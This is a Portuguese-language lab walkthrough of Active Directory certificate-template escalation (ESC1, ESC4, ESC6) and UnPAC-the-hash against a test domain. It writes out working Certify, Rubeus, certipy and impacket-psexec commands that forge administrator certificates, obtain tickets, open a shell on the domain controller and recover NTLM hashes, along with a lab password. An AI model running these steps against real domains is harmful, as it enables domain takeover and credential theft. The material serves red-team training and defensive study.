Active Directory Domain Escalation

ESC1

A vulnerabilidade ESC1 permite que um atacante controle o campo subjectAltName (SAN) em um certificado gerado. Ao modificar este campo, um certificado pode ser criado para autenticar como qualquer usuário desejado (administrator, por exemplo).

Tentando acessar o DC

Como a Mônica não é Administradora de Domínio, não possui permissão para ler a pasta.

Deixando o Modelo Vulnerável

Alterações iniciais necessárias para deixar um modelo vulnerável.

Na opção de gerenciamento dos Modelos de Certificado, escolha o modelo Workstation Authentication e adicione o seguinte “Domain Users”, o seu usuário sem privilégios (no exemplo, monraybrandt) e um usuário com privilégios (no exemplo, cbricks).

Encontrar o Template Vulnerável

Certify.exe find /vulnerable

Gerando o Certificado

Certify.exe request /ca:DC01.redteam.corp\redteam-DC01-CA /template:Workstation /altname:administrator

Copie todo o código gerado (RSA PRIVATE KEY e CERTIFICATE) para um arquivo chamado “cert.pem”.

Conversão

Utilize o openssl para converter o “cert.pem” em cert.pfx”, como diz o comando o final da imagem.

OBS: a senha é opcional.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Pedindo o Ticket

Com o certificado feito, pode-se especificar o nome do usuário e pedir pelo TGT (Ticket Granting Ticket) para o KDC.

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /domain:redteam.corp /ptt

Verificando o Ticket

klist

Acessando o DC

ESC4

A vulnerabilidade ESC4 envolve modelos de certificados que têm permissões de controle de acesso (ACLs) mal configuradas, permitindo que usuários não privilegiados modifiquem as propriedades do próprio modelo. Um atacante com permissões de escrita pode modificar suas configurações para introduzir vulnerabilidades de ESC1, ESC2 ou ESC3, e assim escalar privilégios na rede.

Deixando o Modelo Vulnerável

Salvar a configuração do modelo User

certipy-ad template -username [monraybrandt@192.168.1.40](mailto:monraybrandt@192.168.1.40) -password 'M0n1c4!' -template User -save-old

Alterar configuração e requisitar certificado

certipy-ad req -username monraybrandt@DC01.redteam.corp -password 'M0n1c4!' -ca redteam-DC01-CA -target DC01.redteam.corp -template User -upn administrator@redteam.corp -debug

Como que o certificado vai ficar

Requisitar TGT

A autenticação como administrador acontece com o arquivo PFX e suas as credenciais são salvas no dispositivos (arquivo de cache).

certipy-ad auth -pfx 'administrator.pfx' -username administrator -domain redteam.corp -dc-ip 192.168.1.40

Arquivos gerados até agora

Usando credenciais salvas em cache

Conectar utilizando psexec

impacket-psexec -k -no-pass -debug -dc-ip 192.168.1.40 administrator@dc01.redteam.corp

Executando comandos

Restaurar a configuração anterior

certipy-ad template -username [monraybrandt@192.168.1.40](mailto:monraybrandt@192.168.1.40) -password 'M0n1c4!' -template User -configuration User.json

ESC6

Mesma coisa que o ESC1

UN-PAC the Hash

Ao usar o PKINIT para obter um TGT (Ticket Granting Ticket), o KDC (Key Distribution Center) inclui no bilhete um PAC_CREDENTIAL_INFO estrutura que contém as chaves NTLM (ou seja. hashes LM e NT) do usuário de autenticação. Esse recurso permite que os usuários alternem para autenticações NTLM quando os servidores remotos não suportam Kerberos, enquanto ainda dependem de um mecanismo de verificação de pré-autenticação Kerberos assimétrico (ou seja. PKINIT).

As chaves NTLM serão então recuperáveis após um TGS-REQ através de U2U, combinado com S4U2self, que é uma solicitação de Ticket de Serviço feita ao KDC onde o usuário solicita a autenticação para si mesmo.

Aproveitando o “cert.pfx” gerado no ESC1.

Rubeus.exe asktgt /getcredentials /user:administrator /domain:redteam.corp /certificate:cert.pfx /show